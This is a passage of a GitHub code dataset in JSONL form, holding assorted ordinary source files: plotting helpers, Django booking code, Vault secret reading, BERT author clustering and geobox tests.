vertex_hist(g,\"in\")\n\ny = in_hist[0]\nerr = sqrt(in_hist[0])\nerr[ err >=y ] = y[err>=y] - 1e-2\n\nfigure(figsize=(6,4))\nerrorbar(in_hist[1][:-1],in_hist[0],fmt=\"o\",yerr=err,label=\"in\")\ngca().set_yscale(\"log\")\ngca().set_xscale(\"log\")\ngca().set_ylim(1e-1,1e5)\ngca().set_xlim(0.8,1e3)\nsubplots_adjust(left=0.2,bottom=0.2)\nxlabel(\"$k_{in}$\")\nylabel(\"$NP(k_{in})$\")\ntight_layout()\nsavefig(\"price-dge-dist.pdf\")\nsavefig(\"price-dge-dist.svg\")\n\n#draw the graph to see some other features of its topology\ng = load_graph(\"price.xml.gz\")\nage = g.vertex_properties[\"age\"]\n\npos = sfdp_layout(g)\ngraph_draw(g,pos,out_size=(1000,1000),vertex_color=[1,1,1,0],vertex_fill_color=age,vertex_size=1,edge_pen_width=1.2,vcmap=matplotlib.cm.gist_heat_r, output=\"price.png\")\n\n","repo_name":"hebowei2000/BMAGCCNs","sub_path":"price_network_demo.py","file_name":"price_network_demo.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"17471433166","text":"import textwrap\nfrom pathlib import Path\n\nfrom sudoku_solve.board import Board\n\n\ndef test_init():\n board = Board()\n assert len(board.matrix) == 9\n assert len(board.matrix[3]) == 9\n assert board[3, 4].fixed_value is None\n\n\ndef test_from_yaml():\n board = Board.from_yaml(textwrap.dedent(\n \"\"\"\\\n 0:\n 2: 5\n 7: 6\n 4:\n 2: 7\n \"\"\")\n )\n assert board[0, 2].fixed_value == 5\n assert board[0, 7].fixed_value == 6\n assert board[4, 2].fixed_value == 7\n assert board[0, 0].fixed_value is None\n\n\ndef test_solve():\n easy_sudoku = Path(__file__).parent / Path(\"sudokus\") / Path(\"easy.yml\")\n with easy_sudoku.open() as easy:\n board = Board.from_yaml(easy)\n board.solve()\n assert board.possible_numbers_left() == 0\n","repo_name":"rhpvorderman/sudoku-solve","sub_path":"tests/test_board.py","file_name":"test_board.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25112206003","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\"\n Visualize interest point detections on an image.\n\n Plot N detected interest points as red circles overlaid on the image.\n\n As a visual indicator of interest point score, scale red color intensity\n with relative score.\n\n Arguments:\n image - a grayscale image in the form of a 2D numpy\n xs - numpy array of shape (N,) containing x-coordinates\n ys - numpy array of shape (N,) containing y-coordinates\n scores - numpy array of shape (N,) containing scores\n\"\"\"\ndef plot_interest_points(image, xs, ys, scores):\n assert image.ndim == 2, 'image should be grayscale'\n # determine color scale\n s_rank = np.argsort(scores)\n N = s_rank.size\n colors = np.zeros((N,3))\n colors[:,0] = 0.95 * (s_rank / N) + 0.05\n # display points\n plt.figure()\n plt.imshow(image, cmap='gray')\n plt.scatter(ys,xs,c=colors)\n\n\"\"\"\n Visualize feature matches.\n\n Draw lines from feature locations in the first image to matching locations\n in the second.\n\n Only display matches with scores above a specified threshold (th).\n\n Reasonable values for the threshold are dependent on your scheme for\n scoring matches. Varying the threshold to display only the best matches\n can be a useful debugging tool.\n\n Arguments:\n image0 - a grayscale image in the form of a 2D numpy (first image)\n image1 - a grayscale image in the form of a 2D numpy (second image)\n xs0 - numpy array of shape (N0,) containing x-coordinates of the\n interest points for features in the first image\n ys0 - numpy array of shape (N0,) containing y-coordinates of the\n interest points for features in the first image\n xs1 - numpy array of shape (N1,) containing x-coordinates of the\n interest points for features in the second image\n ys1 - numpy array of shape (N1,) containing y-coordinates of the\n interest points for features in the second image\n matches - a numpy array of shape (N0,) containing, for each feature in\n the first image, the index of the best match in the second\n scores - a numpy array of shape (N0,) containing a real-valued score\n for each pair of matched features\n th - threshold; only display matches with scores above threshold\n\"\"\"\ndef plot_matches(image0, image1, xs0, ys0, xs1, ys1, matches, scores, th):\n assert image0.ndim == 2, 'image should be grayscale'\n assert image1.ndim == 2, 'image should be grayscale'\n # combine images\n sx0, sy0 = image0.shape\n sx1, sy1 = image1.shape\n sx = sx0 + sx1\n sy = max(sy0, sy1)\n image = np.zeros((sx, sy))\n image[0:sx0,0:sy0] = image0;\n image[sx0:sx0+sx1,0:sy1] = image1;\n\n # get coordinates of matches\n xm = xs1[matches]\n ym = ys1[matches]\n # draw correspondence\n plt.figure()\n plt.imshow(image, cmap='gray')\n X = np.zeros((2))\n Y = np.zeros((2))\n N = matches.size\n for n in range(N):\n if (scores[n] > th):\n X[0] = xs0[n]\n X[1] = xm[n]+sx0\n Y[0] = ys0[n]\n Y[1] = ym[n]\n plt.plot(Y,X,'b-')\n plt.plot(Y[0],X[0],'ro')\n plt.plot(Y[1],X[1],'ro')\n\n\"\"\"\n Given two images and an translation t = [tx ty] that aligns them, overlay\n and display them in a common coordinate frame.\n\n The second image is translated and pasted on top of the first.\n\n Arguments:\n image0 - a grayscale image in the form of a 2D numpy (first image)\n image1 - a grayscale image in the form of a 2D numpy (second image)\n tx - predicted translation in x-direction between images\n ty - predicted translation in y-direction between images\n\"\"\"\ndef show_overlay(image0, image1, tx, ty):\n assert image0.ndim == 2, 'image should be grayscale'\n assert image1.ndim == 2, 'image should be grayscale'\n # combine images\n sx0, sy0 = image0.shape\n sx1, sy1 = image1.shape\n tx = int(round(tx))\n ty = int(round(ty))\n bx = abs(tx)\n by = abs(ty)\n sx = max(sx0, sx1) + 2 * bx\n sy = max(sy0, sy1) + 2 * by\n image = np.zeros((sx, sy))\n image[bx:sx0+bx,by:sy0+by] = image0;\n image[bx+tx:sx1+bx+tx,by+ty:sy1+by+ty] = image1;\n # draw\n plt.figure()\n plt.imshow(image, cmap='gray')\n","repo_name":"fhalamos/interest_points_feature_descriptors","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23601165881","text":"import sys\r\n\r\nfin = sys.stdin\r\n##fin = file(r'A-large.in')\r\nfout = sys.stdout\r\n##fout = file(r'A-large.out', 'w')\r\n\r\ndef main():\r\n N = int(fin.readline())\r\n for i in xrange(N):\r\n ln = fin.readline()\r\n n, k = map(long, ln.split(' '))\r\n if (k % pow(2, n)) == pow(2, n) -1:\r\n result = \"ON\"\r\n else:\r\n result = \"OFF\"\r\n fout.write('Case #%d: %s\\n' % (i +1, result))\r\n\r\nmain()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/538.py","file_name":"538.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6920346769","text":"__author__ = 'james'\nfrom django.utils.translation import ugettext as _\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import login, authenticate\n\nfrom events.models import Booking\n\nfrom orders.models import Order, OrderItem\n\n\nclass BookingForm(forms.ModelForm):\n # set the css of required fields\n required_css_class = 'required'\n email = forms.EmailField(\n max_length=254,\n label=\"Contact email\",\n required=True,\n help_text=\"This is required so we can contact you.\"\n )\n\n tandc = forms.BooleanField(\n label=\"Accept terms and conditions\",\n required=True,\n )\n\n def __init__(self, request, *args, **kwargs):\n booking = super(BookingForm, self).__init__(*args, **kwargs)\n\n # add label\n self.fields['quantity'].label = \"Number of people\"\n\n try:\n if not request.user.is_anonymous():\n self.fields['email'].initial = request.user.email\n\n except User.DoesNotExist:\n pass\n\n class Meta:\n model = Booking\n fields = ['email', 'quantity', ]\n\n def save(self, event, price, user, commit=True):\n from django.contrib.contenttypes.models import ContentType\n #\n booking = super(BookingForm, self).save(commit=False)\n\n\n\n booking.booked_by = user\n booking.event = event\n booking.price = price\n total_booked = 0\n open_order_list = Order.objects.open_order(user=user)\n if open_order_list:\n order = open_order_list[0]\n\n for item in order.orderitem_set.all():\n total_booked += item.content_object.quantity\n\n if not(event.pricing_set.all().filter(online_book=True)\n and not event.fully_booked):\n raise ValidationError(\n _('This event is fully booked'),\n code='Fully Booked'\n )\n commit = False\n elif event.num_spaces < (booking.quantity + total_booked):\n places = booking.quantity + total_booked\n raise ValidationError(\n _('Not enough spaces for %(places)s people.'),\n code='No Space',\n params={'places': places},\n )\n commit = False\n\n if commit:\n booking.save()\n\n # Add to open order\n if not open_order_list:\n order = Order(ordered_by=user)\n\n order.save()\n\n order_item = OrderItem(\n order=order,\n description=event.__unicode__(),\n value=(price.value*booking.quantity),\n vat=price.vat,\n content_type=ContentType.objects.get_for_model(booking),\n object_id=booking.id\n )\n\n order_item.save()\n\n return booking\n\n def clean(self):\n return self.cleaned_data","repo_name":"cs98jrb/Trinity","sub_path":"mysite/events/forms/booking.py","file_name":"booking.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"839410707","text":"from setuptools import setup, find_packages\n\nREADME = open('README.md').read().strip()\nCLASSIFIERS = [\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: '\n]\n\nsetup(\n name=\"tagscloud\",\n version=\"0.0.1\",\n packages=find_packages(),\n author='Daroth',\n author_email='daroth@braindead.fr',\n description='Tagscloud library',\n license='Beerware',\n keywords='tags cloud',\n url=''\n)\n","repo_name":"Daroth/tagscloud","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35904714657","text":"import hvac\nimport os\n\n# Получаем путь до файла с токеном из env (APPROLE_UNWRAPPEN_TOKEN_FILE)\ntoken_file = os.getenv('APPROLE_UNWRAPPEN_TOKEN_FILE')\n# Читаем файл и записываем в переменную t\nt=open(token_file, \"r\").read()\n\n# Получаем url vault из env (APPROLE_VAULT_ADDR)\nu=os.getenv('APPROLE_VAULT_ADDR')\n\n# Получаем mount_point секрета из env (APPROLE_SECRET_MOUNT_POINT)\nmp=os.getenv('APPROLE_SECRET_MOUNT_POINT')\n\n# Получаем path секрета из env (APPROLE_SECRET_PATH)\np=os.getenv('APPROLE_SECRET_PATH')\n\n# Авторизуемся в vault с использованием полученного токена\nclient = hvac.Client(\n url=u,\n token=t\n)\n\n# Читаем секрет из vault, из указанного в переменной path и mount_point\nresult=client.secrets.kv.v2.read_secret_version(\n mount_point=mp,\n path=p\n)\n\n# Отдаем ответ\nprint(result[\"data\"][\"data\"][\"responseText\"])","repo_name":"rdegtyarev/clokub-14-02","sub_path":"app/scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2439594875","text":"\ndef test_single_wire():\n an = f.maker.env.outputs[0].owner\n job = TheanoJob(an)\n V = TheanoArrayVariable(job.inputs[0]._variable, (1000,1000))\n w = MPIWire(A, B)\n A.instantiate_random_variable(V)\n A.compile(job)\n A.run(job)\n for output in job.outputs:\n w.transmit(output)\n\n assert all(output in B for output in job.outputs)\n\ndef test_computation_local(schedule):\n import numpy as np\n from mpi4py import MPI\n d = locals()\n\n jobs = schedule.system.jobs\n inputs = schedule.computation.inputs\n\n # Compile functions locally\n for job in jobs:\n fn = job.function(gpu=False)\n d[A.local_name(job)] = fn\n\n # Push inputs into namespace\n for var in computation.inputs:\n d[A.local_name(var)] = np.ones(var.shape).astype(var.dtype)\n\n\n\n\n\n","repo_name":"mrocklin/ape","sub_path":"old/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"36443249969","text":"class Solution:\n def maxSumAfterPartitioning(self, arr: List[int], k: int) -> int:\n N = len(arr) \n @cache\n def dp(idx): \n max_num = max_sum = 0\n for i in range(idx, min(idx + k, N)):\n max_num = max(max_num, arr[i])\n max_sum = max(max_sum, (i - idx + 1) * max_num + dp(i + 1))\n \n return max_sum\n \n return dp(0)","repo_name":"leulabay1/A2SV-SOLVED-PROBLEMS","sub_path":"1043-partition-array-for-maximum-sum/1043-partition-array-for-maximum-sum.py","file_name":"1043-partition-array-for-maximum-sum.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23644216641","text":"import sets\nfile=open(\"inputC.txt\", 'r')\noutput=open(\"outC.txt\",'w')\n\ninput=iter(file)\nX=input.readline()\n\n\nb=0\nfor b, k in enumerate(input): \n a= k.split(' ')\n A=int(a[0])\n B=int(a[1].rstrip())\n\n dict1={}\n dict2={}\n dict3={}\n size=len(str(A))\n for i in range (A,B+1):\n if size==2:\n ters1=int(str(i)[-1]+str(i)[0:-1])\n if (i>output, \"Case #%d:\" % (b+1), count\nfile.close()\noutput.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_97/1667.py","file_name":"1667.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71378920513","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.contrib import messages\nfrom django.shortcuts import render, redirect\nfrom ..logRegApp.models import Users\nfrom .models import Trip\n\n# Create your views here.\ndef index(request):\n #check if user logged in\n if 'id' in request.session:\n return redirect('beltApp:dashboard')\n return render(request, 'beltApp/index.html')\n\n#renders dashboard page\ndef dashboard(request):\n #check if user logged in\n if 'id' not in request.session:\n return redirect('beltApp:index')\n context = {\n 'users_trips': Trip.objects.get_trips(request.session['id']),\n 'others_trips': Trip.objects.get_other_trips(request.session['id']),\n }\n return render(request, 'beltApp/dashboard.html', context)\n\n#Renders page w/ form to add new trip\ndef tripform(request):\n #check if user logged in\n if 'id' not in request.session:\n return redirect('beltApp:index')\n return render(request, 'beltApp/newtrip.html')\n\n#Runs logic to validate // create new trip\ndef addTrip(request):\n if request.method == 'POST':\n response = Trip.objects.create_trip(request.POST, request.session['id'])\n #if user entry contained errors returns error messages\n if not response[0]:\n for error in response[1]:\n messages.error(request, error)\n #if user entry was accepted\n else:\n return redirect('beltApp:dashboard')\n return redirect('beltApp:tripform')\n\n#Renders page with trip info and others who joined trip\ndef destination(request, id):\n #check if user logged in\n if 'id' not in request.session:\n return redirect('beltApp:index')\n context = {\n 'trip': Trip.objects.get(id=id),\n 'others': Users.objects.filter(joined_trip__id=id)\n }\n return render(request, 'beltApp/destination.html', context)\n\n#User verifies they want to join trip\ndef verifyJoin(request, id):\n #check if user logged in\n if 'id' not in request.session:\n return redirect('beltApp:index')\n context = {\n 'trip': Trip.objects.get(id=id)\n }\n return render(request, 'beltApp/verifyjoin.html', context)\n\n#Runs logic to validate // join trip\ndef joinTrip(request, id):\n if request.method == 'POST':\n if request.POST['verify'] == 'yes':\n response = Trip.objects.trip_join(id, request.session['id'])\n #If user already has joined this speicific trip\n if not response[0]:\n messages.error(request, response[1])\n return redirect('beltApp:dashboard')\n\n#User verifies if they want to delete a trip they created\ndef verifyDelete(request, id):\n #check if user logged in\n if 'id' not in request.session:\n return redirect('beltApp:index')\n context = {\n 'trip': Trip.objects.get(id=id)\n }\n return render(request, 'beltApp/verifydelete.html', context)\n\n#Deletes Trip\ndef deleteTrip(request, id):\n if request.method == 'POST':\n if request.POST['verify'] == 'yes':\n Trip.objects.get(id=id).delete()\n return redirect('beltApp:dashboard')\n","repo_name":"randyhperez/belt_exam","sub_path":"apps/beltApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10790385077","text":"# Ben Kabongo\n# Personalized data-to-text neural generation\n# ISIR/MLIA, 2023\n\n# Clustering with BERT\n\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport torch\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics.cluster import adjusted_rand_score\nfrom sklearn.manifold import TSNE\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom transformers import BertTokenizer, BertModel\n\n\ndef load_data(n_authors=2, data_path='./users_output.csv'):\n users_output_df = pd.read_csv(data_path, index_col=0)\n users_output_df = users_output_df.rename({'target': 'review'}, axis=1)\n users_output_df = users_output_df[['review', 'movieID', 'userID']]\n users_output_df = users_output_df[users_output_df['userID'] != 'u/nan']\n users_output_df = users_output_df.dropna()\n\n occurrences = users_output_df['userID'].value_counts()[:n_authors]\n mask = users_output_df.userID.isin(occurrences.index)\n df = users_output_df[mask]\n \n sample_size = occurrences.min()\n sample_dfs = []\n\n for ui, u in enumerate(df.userID.unique()):\n user_df = df[df['userID'] == u]\n sample_df = user_df.sample(n=sample_size, replace=True)\n sample_df['userNum'] = [ui]*sample_size\n sample_dfs.append(sample_df)\n\n data_df = pd.concat(sample_dfs)\n return data_df\n\n\nclass AuthorshipDataset(Dataset):\n\n def __init__(self, data_df, tokenizer):\n self.data_df = data_df\n self.tokenizer = tokenizer\n\n def tokenize(text):\n return self.tokenizer(\n text, \n padding='max_length', \n max_length = 512, \n truncation=True, \n return_tensors=\"pt\"\n )\n self.labels = data_df.userNum.tolist()\n self.texts = data_df.review.apply(tokenize).tolist()\n\n def classes(self):\n return self.labels\n\n def __len__(self):\n return len(self.labels)\n\n def get_batch_labels(self, idx):\n return np.array(self.labels[idx])\n\n def get_batch_texts(self, idx):\n return self.texts[idx]\n\n def __getitem__(self, idx):\n return self.texts[idx], self.labels[idx]\n\n\nclass BertClassifier(nn.Module):\n\n def __init__(self, n_authors=80, dropout=0.5):\n super(BertClassifier, self).__init__()\n self.bert = BertModel.from_pretrained('bert-base-cased')\n self.dropout = nn.Dropout(dropout)\n self.linear = nn.Linear(768, n_authors)\n self.relu = nn.ReLU()\n self._n_authors = n_authors\n\n\n def forward(self, input_id, mask):\n _, cls_output = self.bert(input_ids= input_id, attention_mask=mask,return_dict=False)\n dropout_output = self.dropout(cls_output)\n linear_output = self.linear(dropout_output)\n final_layer = self.relu(linear_output)\n return final_layer\n\n \n def get_cls(self, input_id, mask):\n _, cls_output = self.bert(input_ids= input_id, attention_mask=mask,return_dict=False)\n return cls_output\n\n\ndef visualize(args):\n data_df = load_data(args.n_authors, args.data_path)\n tokenizer = BertTokenizer.from_pretrained('bert-base-cased')\n data_dt = AuthorshipDataset(data_df, tokenizer)\n data_ld = DataLoader(data_dt, batch_size=args.batch_size)\n print('[Data] Data loaded')\n \n model = BertClassifier(n_authors=args.n_authors)\n model.load_state_dict(torch.load(args.model_path))\n print(f'[Model] Loading model from {args.model_path}')\n\n if torch.cuda.is_available():\n device = torch.device(\"cuda\")\n model = model.cuda()\n else:\n device = torch.device(\"cpu\")\n\n cls_outputs = []\n labels = []\n\n with torch.no_grad():\n for data_input, data_label in tqdm(data_ld):\n data_label = data_label.to(device)\n mask = data_input['attention_mask'].to(device)\n input_id = data_input['input_ids'].squeeze(1).to(device)\n cls_output = model.get_cls(input_id, mask).tolist()\n cls_outputs.extend(cls_output)\n labels.extend(data_label.tolist())\n\n cls_outputs = np.array(cls_outputs)\n labels = np.array(labels)\n\n n_authors = args.n_authors\n\n kmeans = KMeans(n_clusters=n_authors)\n _ = kmeans.fit(cls_outputs)\n predictions = kmeans.predict(cls_outputs)\n ari = adjusted_rand_score(labels, predictions)\n print(f'[Clustering] KMeans ARI = {ari}')\n\n tsne = TSNE(n_components=2, perplexity=30, n_iter=1000, random_state=42)\n tsne_data = tsne.fit_transform(cls_outputs)\n\n plt.figure()\n plt.scatter(tsne_data[:, 0], tsne_data[:, 1], c=labels)\n plt.savefig(args.out_filename)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--model_path', required=True, type=str)\n parser.add_argument('--n_authors', default=2, type=int)\n parser.add_argument('--data_path', default='./users_output.csv', type=str)\n parser.add_argument('--out_filename', default='clustering_authors.png', type=str)\n parser.add_argument('--batch_size', default=8, type=int)\n args = parser.parse_args()\n\n visualize(args)\n","repo_name":"BenKabongo25/personalized-data-to-text-neural-generation","sub_path":"Code/src/authorship/bert_cls_clustering.py","file_name":"bert_cls_clustering.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42184716158","text":"'''\r\nCreate a new list from a two list using the following condition:\r\n\r\nGiven a two list of numbers, write a program to create a new list such that the new list\r\nshould contain odd numbers from the first list and even numbers from the second list.\r\n\r\nGiven:\r\nlist1 = [10, 20, 25, 30, 35]//odd\r\nlist2 = [40, 45, 60, 75, 90]//even\r\n\r\nExpected Output:\r\nresult list: [25, 35, 40, 60, 90]\r\n'''\r\nlist1 = [10, 20, 25, 30, 35]\r\nlist2 = [40, 45, 60, 75, 90]\r\n\r\nA=[]\r\ni=0\r\nfor item1 in list1:\r\n if i%2!=0:\r\n A.append(item1)\r\n i=i+1\r\nj=0\r\nfor item2 in list2:\r\n if j%2==0:\r\n A.append(item2)\r\n j=j+1\r\nprint(\"result list:\",A)\r\n \r\n\r\n","repo_name":"Harshita184Rawat/python","sub_path":"new_list_from_two_other_lists.py","file_name":"new_list_from_two_other_lists.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2010986411","text":"from django.db import models\n\nfrom users.models import User\n\nCOLOR_CHOICES = (\n (\"#E26C2D\", \"Оранжевый\"),\n (\"#eb4034\", \"Зеленый\"),\n (\"#8908a3\", \"Фиолетовый\"),\n)\n\n\nclass Ingredient(models.Model):\n name = models.CharField(\n max_length=200, verbose_name=\"Название ингридиента\"\n )\n measurement_unit = models.CharField(\n max_length=200, verbose_name=\"Единица измерения\"\n )\n\n def __str__(self):\n return self.name\n\n\nclass Tag(models.Model):\n name = models.CharField(max_length=200, verbose_name=\"Название тэга\")\n color = models.CharField(max_length=200, choices=COLOR_CHOICES)\n slug = models.SlugField(unique=True)\n\n def __str__(self):\n return self.name\n\n\nclass Recipe(models.Model):\n name = models.CharField(max_length=200, verbose_name=\"Название рецепта\")\n text = models.TextField(verbose_name=\"Описание рецепта\")\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name=\"recipes\",\n verbose_name=\"Автор рецепта\",\n )\n ingredients = models.ManyToManyField(\n Ingredient, through=\"Amount\", blank=True\n )\n tags = models.ManyToManyField(Tag, verbose_name=\"Тэги\")\n cooking_time = models.PositiveIntegerField(\n default=1, verbose_name=\"Время приготовления\"\n )\n image = models.ImageField(\n \"Картинка\", upload_to=\"recipes/\", blank=True, null=True\n )\n\n def __str__(self):\n return self.name\n\n\nclass Amount(models.Model):\n amount = models.IntegerField(default=0, verbose_name=\"Количество\")\n ingredient = models.ForeignKey(\n Ingredient,\n on_delete=models.CASCADE,\n related_name='ingredient_amout',\n verbose_name=\"Ингридиент\"\n )\n recipe = models.ForeignKey(\n Recipe,\n on_delete=models.CASCADE,\n related_name='ingredient_recipe',\n verbose_name=\"Рецепт\"\n )\n\n def __str__(self):\n return f\"{self.recipe.name}-{self.ingredient.name}\"\n\n\nclass Favorite(models.Model):\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name=\"favorites\",\n verbose_name=\"Пользователь\",\n )\n recipe = models.ForeignKey(\n Recipe,\n on_delete=models.CASCADE,\n related_name=\"favorites\",\n verbose_name=\"Рецепт\",\n )\n\n\nclass ShoppingCart(models.Model):\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name=\"shopping_cart\",\n verbose_name=\"Пользователь\",\n )\n recipe = models.ForeignKey(\n Recipe,\n on_delete=models.CASCADE,\n related_name=\"shopping_cart\",\n verbose_name=\"Рецепт\",\n )\n","repo_name":"SpaceJesusJPG/foodgram-project-react","sub_path":"backend/foodgram_project/recipes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22209792851","text":"\"\"\"\nTests for geobox2. Can be run with nosests, e.g:\n$ nosetests geobox2_tests.py\n\"\"\"\nimport geobox2\n\nimport decimal\n\n\ndef testboundingbox():\n lat = _dec(42.270872)\n lon = _dec(-83.726329)\n a2 = geobox2.Geobox(lat, lon)\n scope = _dec(1.0)\n top, left, bottom, right = a2.bounding_box(lat, lon, scope)\n assert top > lat, \"top > lat\"\n assert bottom < lat, \"bottom < lat\"\n assert left < lon, \"left < lon\"\n assert right > lon, \"right > lon\"\n\n eq_(top, _dec(43.0), \"top\")\n eq_(bottom, _dec(42.0), \"bottom\")\n eq_(left, _dec(-84.0), \"left\")\n eq_(right, _dec(-83.0), \"right\")\n\nclass TestAppend(object):\n\n def setup(self):\n self.oldscopes = geobox2.SCOPE_SIZES\n geobox2.SCOPE_SIZES = [_dec(1.0)]\n self.center = \"43.000|-84.000|42.000|-83.000\"\n\n self.left = \"43.000|-85.000|42.000|-84.000\"\n self.right = \"43.000|-83.000|42.000|-82.000\"\n self.down = \"42.000|-84.000|41.000|-83.000\"\n self.up = \"44.000|-84.000|43.000|-83.000\"\n\n self.leftdown = \"42.000|-85.000|41.000|-84.000\"\n self.leftup = \"44.000|-85.000|43.000|-84.000\"\n self.rightdown = \"42.000|-83.000|41.000|-82.000\"\n self.rightup = \"44.000|-83.000|43.000|-82.000\"\n\n def teardown(self):\n geobox2.SCOPE_SIZES = self.oldscopes\n\n def testonebox(self):\n \"with point in middle of scope, should be no adjacent boxes added\"\n lat = _dec(42.5)\n lon = _dec(-83.5)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_([self.center], boxes)\n\n def testappendleft(self):\n \"with point near left edge, we expect an extra box to the left\"\n lat = _dec(42.5)\n lon = _dec(-83.8)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_([self.center, self.left], boxes)\n\n def testappendright(self):\n \"with point near right edge, we expect an extra box to the right\"\n lat = _dec(42.5)\n lon = _dec(-83.2)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_([self.center, self.right], boxes)\n\n def testappendup(self):\n \"with point near top edge, we expect an extra box to the top\"\n lat = _dec(42.8)\n lon = _dec(-83.5)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_([self.center, self.up], boxes)\n\n def testappenddown(self):\n \"with point near bottom edge, we expect an extra box to the bottom\"\n lat = _dec(42.2)\n lon = _dec(-83.5)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_([self.center, self.down], boxes)\n\n def testappendbottomleft(self):\n \"with point near bottom left edge, we expect extra boxes for the corner\"\n lat = _dec(42.2)\n lon = _dec(-83.8)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_(sorted([self.center, self.left, self.down, self.leftdown]), sorted(boxes))\n\n def testappendtopleft(self):\n \"with point near top left edge, we expect extra boxes for the corner\"\n lat = _dec(42.8)\n lon = _dec(-83.8)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_(sorted([self.center, self.left, self.up, self.leftup]), sorted(boxes))\n\n def testappendbottomright(self):\n \"with point near bottom right edge, we expect extra boxes for the corner\"\n lat = _dec(42.2)\n lon = _dec(-83.2)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_(sorted([self.center, self.right, self.down, self.rightdown]), sorted(boxes))\n\n def testappendtopright(self):\n \"with point near top left edge, we expect extra boxes for the corner\"\n lat = _dec(42.8)\n lon = _dec(-83.2)\n pt = geobox2.Geobox(lat, lon)\n boxes = pt.storage_geoboxes()\n eq_(sorted([self.center, self.right, self.up, self.rightup]), sorted(boxes))\n\ndef eq_(a, b, msg=None):\n \"\"\"Shorthand for 'assert a == b, \"%r != %r\" % (a, b)\n \"\"\"\n def details():\n if msg:\n return \"\\n%s\\n%s\\n !=\\n%s\" % (msg, a, b)\n else:\n return \"\\n%s\\n !=\\n%s\" % (a, b)\n assert a == b, details()\n\ndef _dec(num):\n return decimal.Decimal(str(num))\n\n\n\n\n \n\n\n ","repo_name":"phughes/geobox","sub_path":"geobox2_tests.py","file_name":"geobox2_tests.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"25208602155","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 16 01:08:17 2023\r\n\r\n@author: white\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split, GridSearchCV\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.linear_model import LinearRegression\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import Ridge, Lasso\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score, f1_score\r\nfrom sklearn.ensemble import RandomForestRegressor\r\n\r\n# Load and preprocess data\r\ndata = pd.read_csv('weather_data.csv')\r\nX = data[['mean_temp', 'max_temp', 'min_temp', 'pressure', 'clouds', 'dew_point', 'wind_speed', 'wind_direction', 'humidity', 'snow']]\r\ny_precipitation = data['rain']\r\ny_mean_temperature = data['mean_temp']\r\n\r\n# Feature Scaling\r\nscaler = 